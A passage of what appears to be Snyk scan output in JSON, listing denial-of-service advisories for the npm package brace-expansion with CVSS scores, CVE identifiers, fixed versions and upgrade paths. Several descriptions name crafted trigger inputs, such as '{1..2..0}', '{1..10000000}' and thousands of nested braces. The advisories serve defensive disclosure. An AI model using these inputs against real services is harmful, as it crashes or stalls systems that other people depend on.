"brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", 